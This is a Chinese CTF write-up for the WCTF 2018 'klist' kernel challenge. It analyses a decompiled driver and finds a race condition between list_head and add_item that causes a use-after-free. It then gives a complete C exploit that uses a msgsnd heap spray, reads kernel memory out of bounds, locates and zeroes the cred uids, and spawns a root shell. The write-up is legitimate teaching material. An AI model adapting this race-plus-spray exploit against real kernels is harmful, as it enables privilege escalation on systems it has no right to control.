【KERNEL PWN】WCTF 2018 klist解题思路

题目来源于WCTF 2018,shellphish出的一道比较简单的内核题目,苦于比赛时并不会内核,到今天才重新拿出来复现,附件及题目下载

题目分析

题目模仿磁盘文件机制,可以自由申请、释放、读写堆块。提供了read、write、ioctl三个功能。

其堆块数据结构如下,其中isuse位是一个标志位,使用原子操作对其加减,每次操作前加一,操作后减一,当该位为0时,调用kfree释放。size为存放的是其大小,fd是下一个item的指针,后续是其实际内容:

1
2
3
4
5
6
7
00000000 struct_item     struc ; (sizeof=0x20, mappedto_3)
00000000 isuse dd ?
00000004 field_4 dd ?
00000008 size dq ?
00000010 fd dq ? ; offset
00000018 buf dq ?
00000020 struct_item ends

ioctl

在ioctl里实现了4个功能

add_item

可以看到,从copy_from_user可看出,其输入的参数是一个结构体,结构体有两项一个是size,一个是数据buf指针。然后程序会按照请求的size+0x18,kmalloc申请内存,并复制过去,将内存挂在单链表上,并将isuse位置1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
signed __int64 __fastcall add_item(add_opt *a1)
{
struct_item *v1; // rax
__int64 v2; // rdx
__int64 v3; // rsi
struct_item *v4; // rbx
struct_item *v5; // rax
signed __int64 result; // rax
add_opt v7; // [rsp+0h] [rbp-18h]

if ( copy_from_user(&v7, a1, 16LL) || v7.size > 0x400uLL )
return -22LL;
v1 = (struct_item *)_kmalloc(v7.size + 0x18, 0x14202C0LL);// ___GFP_FS|___GFP_IO|___GFP_NOWARN |___GFP_HARDWALL| ___GFP_DIRECT_RECLAIM|___GFP_KSWAPD_RECLAIM
v2 = v7.size;
v3 = v7.mem;
v1->isuse = 1;
v4 = v1;
v1->size = v2;
if ( copy_from_user(&v1->buf, v3, v2) )
{
kfree(v4);
result = -22LL;
}
else
{
mutex_lock(&list_lock);
v5 = g_list;
g_list = v4;
v4->fd = v5;
mutex_unlock(&list_lock);
result = 0LL;
}
return result;
}

select_item

select_item函数也很简单,遍历查找第a2个内存块,然后对该块做get操作,放入(a1 + 200)位置,并对原来的堆块做puts操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
signed __int64 __fastcall select_item(__int64 a1, __int64 a2)
{
struct_item *v2; // rbx
__int64 v3; // rax
volatile signed __int32 **v4; // rbp

mutex_lock(&list_lock);
v2 = g_list;
if ( a2 > 0 )
{
if ( !g_list )
{
LABEL_9:
mutex_unlock(&list_lock);
return -22LL;
}
v3 = 0LL;
while ( 1 )
{
++v3;
v2 = v2->fd;
if ( a2 == v3 )
break;
if ( !v2 )
goto LABEL_9;
}
}
if ( !v2 )
return -22LL;
get(&v2->isuse);
mutex_unlock(&list_lock);
v4 = *(volatile signed __int32 ***)(a1 + 200);
mutex_lock(v4 + 1);
put(*v4);
*v4 = &v2->isuse;
mutex_unlock(v4 + 1);
return 0LL;
}

可以看到get操作是一个原子性的加法操作

1
2
3
4
void __fastcall get(volatile signed __int32 *a1)
{
_InterlockedIncrement(a1);
}

而put操作是一个原子性的减法,当减为0时,把这块free掉。

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall put(volatile signed __int32 *a1)
{
__int64 result; // rax

if ( a1 )
{
if ( !_InterlockedDecrement(a1) )
result = kfree(a1);
}
return result;
}

remove_item

remove_item也是根据用户输入的a1,顺序查找链表,当找到后从单链表上摘除,并对其做一个put操作,并不是直接的free,这是为了防止用select_item选择时,将其放到a1+200中,而造成的UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
signed __int64 __fastcall remove_item(__int64 a1)
{
struct_item *v1; // rax
signed __int64 v2; // rdx
struct_item *v3; // rdi
struct_item *v5; // rdi

if ( a1 >= 0 )
{
mutex_lock(&list_lock);
if ( !a1 )
{
v5 = g_list;
if ( g_list )
{
g_list = g_list->fd;
put(&v5->isuse);
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
v1 = g_list;
if ( a1 != 1 )
{
if ( !g_list )
{
LABEL_12:
mutex_unlock(&list_lock);
return -22LL;
}
v2 = 1LL;
while ( 1 )
{
++v2;
v1 = v1->fd;
if ( a1 == v2 )
break;
if ( !v1 )
goto LABEL_12;
}
}
v3 = v1->fd;
if ( v3 )
{
v1->fd = v3->fd;
put(&v3->isuse);
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
return -22LL;
}

list_head

而最后list_head中,会将第一块内存中的数据返回给用户。注意此时在copy_to_user分别调用了get和put函数,标识该块正在被操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall list_head(__int64 a1)
{
struct_item *v1; // rbx
unsigned __int64 v2; // rbx

mutex_lock(&list_lock);
get(&g_list->isuse);
v1 = g_list;
mutex_unlock(&list_lock);
v2 = -(signed __int64)((unsigned __int64)copy_to_user(a1, v1, v1->size + 0x18) >= 1) & 0xFFFFFFFFFFFFFFEALL;
put(&g_list->isuse);
return v2;
}

write & read

write和read就比较简单了,都是判断内存块中的size是否小于用户请求的大小,如果否就返回给用户数据内容。

而读取的位置正是a1+200,也就明白了,之前select_item的功能是选择read和write函数所对应操作的内存块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 v3; // r12
unsigned __int64 v4; // rbx
struct_item **v5; // r13
struct_item *v6; // rsi
signed __int64 v7; // rdi
unsigned __int64 result; // rax

v3 = a2;
v4 = a3;
v5 = *(struct_item ***)(a1 + 200);
mutex_lock(v5 + 1);
v6 = *v5;
if ( *v5 )
{
if ( v6->size <= v4 )
v4 = v6->size;
v7 = (signed __int64)(v5 + 1);
if ( copy_to_user(v3, &v6->buf, v4) )
{
mutex_unlock(v7);
result = -22LL;
}
else
{
mutex_unlock(v7);
result = v4;
}
}
else
{
mutex_unlock(v5 + 1);
result = -22LL;
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall list_write(__int64 a1, __int64 buf, unsigned __int64 size)
{
unsigned __int64 v3; // rbx
struct_item **v4; // rbp
struct_item *v5; // rdi
__int64 v6; // rax
signed __int64 v7; // rdi
unsigned __int64 result; // rax

v3 = size;
v4 = *(struct_item ***)(a1 + 200);
mutex_lock(v4 + 1);
v5 = *v4;
if ( *v4 )
{
if ( v5->size <= v3 )
v3 = v5->size;
v6 = copy_from_user(&v5->buf, buf, v3);
v7 = (signed __int64)(v4 + 1);
if ( v6 )
{
mutex_unlock(v7);
result = -22LL;
}
else
{
mutex_unlock(v7);
result = v3;
}
}
else
{
mutex_unlock(v4 + 1);
result = -22LL;
}
return result;
}

漏洞分析及利用

感觉逻辑挺严谨得的,好像并没有什么问题。不过这是站在单线程的考虑,我们看一下启动项run.sh

1
2
3
#!/bin/sh

qemu-system-x86_64 -enable-kvm -cpu kvm64,+smep -kernel ./bzImage -append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" -initrd ./rootfs.cpio -nographic -m 2G -smp cores=2,threads=2,sockets=1 -monitor /dev/null -nographic

发现是有两个内核、两个线程的,这样是满足内核竞争的条件的。让我们再来以多线程的角度来看看这道题。

好像发现了一点问题,在list_head函数中,put函数的操作直接是g_list->isuse,但是如果第一块不是之前打印的块呢?如果是一个新块,是否就错杀了好人?看一下是否可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 __fastcall list_head(__int64 a1)
{
struct_item *v1; // rbx
unsigned __int64 v2; // rbx

[1] mutex_lock(&list_lock);
get(&g_list->isuse);
v1 = g_list;
[2] mutex_unlock(&list_lock);
v2 = -(signed __int64)((unsigned __int64)copy_to_user(a1, v1, v1->size + 0x18) >= 1) & 0xFFFFFFFFFFFFFFEALL;
[3] put(&g_list->isuse);
return v2;
}

signed __int64 __fastcall add_item(add_opt *a1)
{
... ...
if ( copy_from_user(&v1->buf, v3, v2) )
{
kfree(v4);
result = -22LL;
}
else
{
[4] mutex_lock(&list_lock);
v5 = g_list;
g_list = v4;
v4->fd = v5;
[5] mutex_unlock(&list_lock);
result = 0LL;
}
}

可以发现&list_lock这个锁,在[2]处就释放了,而put操作在[3]处。

而add_item中仅要求能获得这个锁就可以插入了[4]、[5],如此看来是完全可以做到的,利用线程间add_item和list_head竞争,可以让第一个堆块变成一个已经释放的堆块(即在一个线程的执行在[2]、[3]之间时,恰好另一个进程进入[4])。

这样我们就通过竞争条件拿到了一个悬垂指针,而且悬垂指针的大小是任意控制的。

但是拿到这样一个指针并不好弄,针对于之前做过的题目,比如CISCN的babydriver里面的两种做法,第一种是利用申请和cred大小相同的块来UAF另一个线程的cred结构体,从而提权,但在此题行不通。

此题申请cred结构体用的是这个slab中的cred_jar内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;

validate_process_creds();

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_creds() alloc %p", new);

old = task->cred;
memcpy(new, old, sizeof(struct cred));

atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);

而kmalloc会根据size的大小,转换为kmalloc-xx中去申请堆块,虽然二者大小是相同的,但是存在完全的隔离。不同种类的slab是不可能交叉使用的。

而且,我想清楚这个问题以后,我重新调试了一下babydriver这题,惊讶的发现在/proc/slabinfo里居然没有cred_jar这个slab,而且192(cred大小0xa8对齐成 0xc0)的slab只有kmalloc-192、dentry、dma-kmalloc-192,而dentry是目录节点显然不是cred,这就很懵逼…

1
2
3
4
5
6
7
8
/ # cat /proc/slabinfo|grep jar
/ # cat /proc/slabinfo|grep 192
TCP 0 0 1920 8 4 : tunables 0 0 0 : slabdata 0 0 0
dentry 7731 7791 192 21 1 : tunables 0 0 0 : slabdata 371 371 0
dma-kmalloc-8192 0 0 8192 4 8 : tunables 0 0 0 : slabdata 0 0 0
dma-kmalloc-192 0 0 192 21 1 : tunables 0 0 0 : slabdata 0 0 0
kmalloc-8192 8 8 8192 4 8 : tunables 0 0 0 : slabdata 2 2 0
kmalloc-192 1029 1029 192 21 1 : tunables 0 0 0 : slabdata 49 49 0

在prepare_creds这个函数下断点,惊讶的发现cred的分配用的就是kmalloc-192,不禁怀疑人生,这内核咋编译的,还是有别的操作,所以降低了这题的难度,有了直接UAF cred的操作….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
   0xffffffff810a167d    mov    esi, 0x24000c0
0xffffffff810a1682 mov rbp, rsp
0xffffffff810a1685 push r12
0xffffffff810a1687 push rbx
0xffffffff810a1688 mov r12, qword ptr gs:[0xbe00]
► 0xffffffff810a1691 call 0xffffffff811ea400

0xffffffff810a1696 test rax, rax
0xffffffff810a1699 je 0xffffffff810a1759

0xffffffff810a169f mov rbx, rax
0xffffffff810a16a2 mov rax, qword ptr [r12 + 0x5f8]
0xffffffff810a16aa mov ecx, 0x15
──────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rsp 0xffff880000957d98 ◂— 0x1200011
01:0008│ 0xffff880000957da0 —▸ 0xffff880007883fc0 ◂— 0x0
02:0010│ rbp 0xffff880000957da8 —▸ 0xffff880000957dd8 —▸ 0xffff880000957eb8 —▸ 0xffff880000957f38 —▸ 0xffff880000957f48 ◂— ...
03:0018│ 0xffff880000957db0 —▸ 0xffffffff810a1a0f ◂— 0x840fc38948c08548
04:0020│ 0xffff880000957db8 —▸ 0x1b7cb50 ◂— 0x5c /* '\\' */
05:0028│ 0xffff880000957dc0 ◂— 0x1200011
06:0030│ 0xffff880000957dc8 —▸ 0xffff880007883fc0 ◂— 0x0
07:0038│ 0xffff880000957dd0 ◂— 0x0
────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 ffffffff810a1691
f 1 1200011
f 2 ffff880007883fc0
f 3 ffff880000957dd8
f 4 ffffffff810a1a0f
f 5 1b7cb50
f 6 1200011
f 7 ffff880007883fc0
f 8 0
pwndbg> i r rdi
rdi 0xffff880006801800 -131941286275072
pwndbg> x /40gx 0xffff880006801800
0xffff880006801800: 0x0000000000019ee0 0x0000000040000000
0xffff880006801810: 0x0000000000000005 0x000000c0000000c0
0xffff880006801820: 0x0000001e00000000 0x0000000000000015
0xffff880006801830: 0x0000000000000015 0x0000000000000015
0xffff880006801840: 0x0000000400000000 0x0000000000000000
0xffff880006801850: 0x00000008000000c0 0x0000000000000000
0xffff880006801860: 0xffffffff81ce010b 0xffff880006801968
0xffff880006801870: 0xffff880006801768 0xffff880007845060
0xffff880006801880: 0xffff880006801980 0xffff880006801780
0xffff880006801890: 0xffff880006afbb58 0xffff880006afbb40
0xffff8800068018a0: 0xffffffff81e711c0 0xffff8800078488e8
0xffff8800068018b0: 0x0000000700000002 0x0000000000000001
0xffff8800068018c0: 0xffff8800068018c0 0xffff8800068018c0
0xffff8800068018d0: 0x0000000000000000 0x0000000000000000
0xffff8800068018e0: 0x0000000000000000 0xffff88000783e3c0
0xffff8800068018f0: 0x00000000000003e8 0xffff880006800e40
0xffff880006801900: 0x0000000000019ec0 0x0000000040000000
0xffff880006801910: 0x0000000000000005 0x0000008000000080
0xffff880006801920: 0x0000001e00000000 0x0000000000000020
0xffff880006801930: 0x0000000000000020 0x0000000000000020
pwndbg> x /s 0xffffffff81ce010b
0xffffffff81ce010b: "kmalloc-192"

然而,用劫持ptmx这种方法也不行,因为缺少地址泄露…

最后一种方法是利用本身的结构,如果我们可以找到一个函数申请到这个堆块,并把size位置的很大,也可以用来越界读写,由于这个堆块也是在映射区里,所以当cred结构体在高地址时,同样是可以覆写的,就类似于zer0fs那题。

不过,内核太大了,调kmalloc或者kmem_cache_alloc(kmalloc-xx)的太多,真的没办法一个一个试出来…

场面一度非常尴尬,调试这堆调用kmalloc函数花了我两天的时间…

卡了好久以后,发现一篇文章《Linux Kernel universal heap spray》,这篇文章竟然说的就是我遇到的这个问题,在竞争条件时如何找一个能精准控制的内容的函数。

我没有使用文章提出的终极解决方案,我用了第一种不是很完善的方案就是do_msgsnd函数,虽然前48字节不可控,但是结构体的第二个参数是指针,要知道内核的地址都是0xfffffffxxxxx之类的,原因大于我们需求的范围,从而可以爆破高地址的内存,如果存在一个cred的话,就可以提权了。

遇到最坑的事儿是,内核里启动了两个uid=1000的进程,一个qemu起的给用户交互这个,另外一个是子进程起EXP这个…

脚本几次都把父进程提权了,子进程提示提权失败… 也是绝望,不过也算是提取成功了吧…

还有就是memmem这个函数,emmmmm,真是略坑。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <string.h>
#define ADD_ITEM 0x1337
#define SELECT_ITEM 0X1338
#define REMOVE_ITEM 0X1339
#define LIST_HEAD 0X133A
#define BUFF_SIZE 96-48
#define MEM_SIZE 0X300000
struct add_opt
{
size_t size;
char * mem;
};
void print_hex(char *buf,int size){
int i;
puts("======================================");
printf("data :\n");
for (i=0 ; i<(size/8);i++){
if (i%2 == 0){
printf("%d",i/2);
}
printf(" %16llx",*(size_t * )(buf + i*8));
if (i%2 == 1){
printf("\n");
}
}
puts("======================================");
}

int add_item(int fd,size_t size,char * content){
struct add_opt opt;
opt.size = size;
opt.mem = malloc(size);
if (opt.mem == 0){
return -1;
}
memcpy(opt.mem,content,size);
ioctl(fd,ADD_ITEM,&opt);
return 0;
}

int list_head(int fd,char *mem){
if (mem!=0){
ioctl(fd,LIST_HEAD,mem);
return 0;
}
}

int select_item(int fd,size_t idx){
ioctl(fd,SELECT_ITEM,idx);
return 0;
}

int remove_item(int fd,size_t idx){
ioctl(fd,REMOVE_ITEM,idx);
return 0;
}

int myMemmem(char * a, int alen, char * b, int blen)
{
int i, j;
for (i = 0; i <= alen - blen; ++ i)
{
for (j = 0; j < blen; ++ j)
{
if (a[i + j] != b[j])
{
break;
}
}
if (j >= blen)
{
return i;
}
}
return -1;
}
void set_cred_root(char *cred,int len,int id){
int i;
for(i=0;i<len;i+=4){
if(*(int *)(cred+i) == id )
*(int *)(cred+i) =0;
}
}

int main(){
static int fd ;
int i,mem_len;
setvbuf(stdout, 0LL, 2, 0LL);
//char a[]="p4nda";
char *mem = malloc(0x1000);
char *result = malloc(0x1000);
char *large_mem = NULL;
int found = NULL;
char cred[0x20];
char *final = 0;

fd = open("/dev/klist",O_RDWR);
if(fd < 0){
puts("[-] open file error!");
exit(-1);
}
for(i = 0; i<0x1000;i++){
mem[i] = 'a';
}
add_item(fd,96-0x18,mem);
if(fork()==0){
int j = 0;
for(;j<1000;j++){
add_item(fd,96-0x18,mem);
list_head(fd,result);
//print_hex(result,0x10);
if (*(int *)result == 1){
printf("[+] now we trigger a UAF chunk,with [%d] chunk\n",j);
//puts();
print_hex(result,0xc0);
exit(-1);
}
}
exit(0);
}
for(i = 0;i<3000;i++){
list_head(fd,result);
}
getchar();
if(fork()==0){
for (i=0;i<20;i++){
printf("%d",i);
system("./pwn_msg");
}
exit(0);
}

sleep(3);
select_item(fd,0);
read(fd,result,0x1000);
print_hex(result,0xc0);
if(*(size_t * )result == 0x6161616161616161) {
puts("[-] cannot realloc the chunk ");
exit(-1);
}
puts("[+] now we can read everywhere");
//read(fd,result,0x1000);
//print_hex(result,0xc0);

large_mem = malloc(MEM_SIZE);//mmap(0,MEM_SIZE,PROT_READ|PROT_WRITE,MAP_ANONYMOUS,0,0);
if (large_mem == 0xffffffffffffffff ){
puts("[-] cannot mmap large memory");
exit(-1);
}
printf("[+] mmap addr %p\n",large_mem);
memset(large_mem,MEM_SIZE,0);
print_hex(large_mem,0x100);
mem_len = read(fd,large_mem,MEM_SIZE);
printf("[+] read %d byte\n", mem_len );
print_hex(large_mem,0x100);
//memcpy(cred,)
*(size_t *)cred = 0x000003e800000003;
*(size_t *)(cred+8) = 0x000003e8000003e8;
*(size_t *)(cred+0x10) = 0x000003e8000003e8;
*(size_t *)(cred+0x18) = 0x000003e8000003e8;
found = myMemmem(large_mem,MEM_SIZE,cred,0x20);
if (found==-1){
puts("[-]cannot find cred struct !");
exit(-1);
}
printf("[+] start %p\n",large_mem);
final = found+large_mem;
printf("[+] found %p\n",final);
print_hex(final-0x8,0xb0);
set_cred_root(final-0x8,0x40,1000);
print_hex(final-0x8,0xb0);
getchar();
write(fd,large_mem,found+0xb0);
//system("/bin/sh");
if (getuid() == 0){
printf("[+]now you are r00t,enjoy ur shell\n");
system("/bin/sh");
}
else{
puts("[-] there must be something error ... ");
exit(-1);
}

}

参考

https://xz.aliyun.com/t/2814

https://cyseclabs.com/blog/linux-kernel-heap-spray

https://blog.csdn.net/vanbreaker/article/details/7694648

https://blog.csdn.net/vanbreaker/article/details/7695264

https://blog.csdn.net/lukuen/article/details/6935068

文章目录
  1. 1. 题目分析
    1. 1.1. ioctl
      1. 1.1.1. add_item
      2. 1.1.2. select_item
      3. 1.1.3. remove_item
      4. 1.1.4. list_head
    2. 1.2. write & read
  2. 2. 漏洞分析及利用
  3. 3. EXP
  4. 4. 参考
|